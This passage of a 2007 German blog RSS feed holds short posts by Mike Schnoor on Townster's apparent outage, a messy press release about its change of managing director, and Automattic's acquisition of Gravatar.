		<comments>http://mikeschnoor.com/2007/11/06/townster-vom-netz-genommen/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 09:44:36 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Business Angel]]></category>
		<category><![CDATA[Finanzierung]]></category>
		<category><![CDATA[Investment]]></category>
		<category><![CDATA[Pressemitteilung]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Townster]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2007/11/06/townster-vom-netz-genommen/</guid>
		<description><![CDATA[T&#228;usche ich mich oder ist das Angebot von Townster derzeit offline? Hat das mit dem Pressewirrwarr von gestern Abend zu tun? Ich bekomme zumindest von deren Blog sowie von der eigentlichen Social Community nur noch im Firefox: Fehler: Server nicht gefunden Der Server unter www.townster.de konnte nicht gefunden werden. Nachtrag: Es scheint ein lokales Problem [...]]]></description>
			<content:encoded><![CDATA[<p>T&#228;usche ich mich oder ist das Angebot von Townster derzeit offline? Hat das mit dem <a href="http://mikeschnoor.com/2007/11/05/pressewirrwarr-um-townster/">Pressewirrwarr</a> von gestern Abend zu tun? Ich bekomme zumindest von deren Blog sowie von der eigentlichen Social Community nur noch im Firefox:</p>
<blockquote><p><em><strong>Fehler: Server nicht gefunden</strong><br />
Der Server unter www.townster.de konnte nicht gefunden werden.</em></p></blockquote>
<p><strong>Nachtrag:</strong> Es scheint ein lokales Problem mit der Anbindung hier in K&#246;ln zu sein&#8230; :)</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2007/11/06/townster-vom-netz-genommen/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Pressewirrwarr um Townster</title>
		<link>http://mikeschnoor.com/2007/11/05/pressewirrwarr-um-townster/</link>
		<comments>http://mikeschnoor.com/2007/11/05/pressewirrwarr-um-townster/#comments</comments>
		<pubDate>Mon, 05 Nov 2007 20:54:49 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Business Angel]]></category>
		<category><![CDATA[Finanzierung]]></category>
		<category><![CDATA[Investment]]></category>
		<category><![CDATA[Pressemitteilung]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Townster]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2007/11/05/pressewirrwarr-um-townster/</guid>
		<description><![CDATA[Diese Meldung im Blog von Townster &#252;ber den Wechsel der Gesch&#228;ftsf&#252;hrung ist sehr irritierend. Die Ver&#246;ffentlichung von Pressemeldungen im Corporate Blog eines Unternehmens ist zwar g&#228;ngige Praxis, auch ich &#252;be dieses Prozedere derweilen aus, doch im Fall von Townster ist diese Meldung alles andere als f&#246;rderlich: &#8220;&#196;nderung der Gesellschafterverh&#228;ltnisse&#8221; steht in der Headline, die mit [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://mikeschnoor.com/upload/2007/07/townster.gif" class="alignright">Diese Meldung im Blog von Townster &#252;ber den Wechsel der Gesch&#228;ftsf&#252;hrung ist <a href="http://blog.townster.de/2007/11/05/pressemitteilung-anderung-der-gesellschafterverhaltnisse/">sehr irritierend</a>. Die Ver&#246;ffentlichung von Pressemeldungen im Corporate Blog eines Unternehmens ist zwar g&#228;ngige Praxis, auch ich &#252;be dieses Prozedere derweilen aus, doch im Fall von Townster ist diese Meldung alles andere als f&#246;rderlich: &#8220;&#196;nderung der Gesellschafterverh&#228;ltnisse&#8221; steht in der Headline, die mit einer pers&#246;nlichen Note die Nachricht &#252;ber den Abgang des nunmehr ehemaligen Gesch&#228;ftsf&#252;hrers <a href="https://www.xing.com/profile/Thomas_Mindnich">Thomas Mindnich</a> wirklich unsch&#246;n verk&#252;ndet.</p>
<p>Der Hintergrund scheint die Unstimmigkeit &#252;ber die nahezu abgeschlossenen Vertr&#228;ge mit Business Angles zu sein, die Details liegen trotz der sehr ausf&#252;hrlichen Pressemeldung im d&#252;steren Dunstkreis der Finanzierungsrunden von Web 2.0 Startups&#8230; ich h&#228;tte zumindest dazu geraten, den Fall anders zu kommunizieren, als diese Meldung so negativ zu positionieren. Ob die Finanzierungsgespr&#228;che &#252;berhaupt fortgesetzt werden, ist dabei eine weitaus schwierigere Frage f&#252;r das Team von Townster. That&#8217;s some tough luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2007/11/05/pressewirrwarr-um-townster/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Gravatar geht &#252;ber den Ladentisch</title>
		<link>http://mikeschnoor.com/2007/10/18/gravatar-geht-ueber-den-ladentisch/</link>
		<comments>http://mikeschnoor.com/2007/10/18/gravatar-geht-ueber-den-ladentisch/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 09:08:22 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Automattic]]></category>
		<category><![CDATA[Gravatar]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2007/10/18/gravatar-geht-ueber-den-ladentisch/</guid>
		<description><![CDATA[Der alte Esel ist verkauft. Der mitunter recht schlecht performende Gravatar, eines der webzwonulligen Urget&#252;me prim&#228;r f&#252;r Weblogs, wird von Automattic aufgekauft. Das Unternehmen Automattic steckt hinter WordPress.com &#8211; ob der Deal einigen Blogbetreibern gefallen wird und ob die Performance-Probleme behoben werden ist eine Frage der Zeit&#8230; zumindest sollen die Pro-Features der breiten &#214;ffentlichkeit zug&#228;nglich [...]]]></description>
			<content:encoded><![CDATA[<p>Der <a href="http://blog.gravatar.com/2007/10/18/automattic-gravatar/">alte Esel</a> ist verkauft. Der mitunter recht schlecht performende Gravatar, eines der webzwonulligen Urget&#252;me prim&#228;r f&#252;r Weblogs, wird von <a href="http://automattic.com/">Automattic</a> aufgekauft. Das Unternehmen Automattic steckt hinter <a href="http://wordpress.com">WordPress.com</a> &#8211; ob der Deal einigen Blogbetreibern gefallen wird und ob die Performance-Probleme behoben werden ist eine Frage der Zeit&#8230; zumindest sollen die Pro-Features der breiten &#214;ffentlichkeit zug&#228;nglich gemacht werden. Immerhin etwas.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2007/10/18/gravatar-geht-ueber-den-ladentisch/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

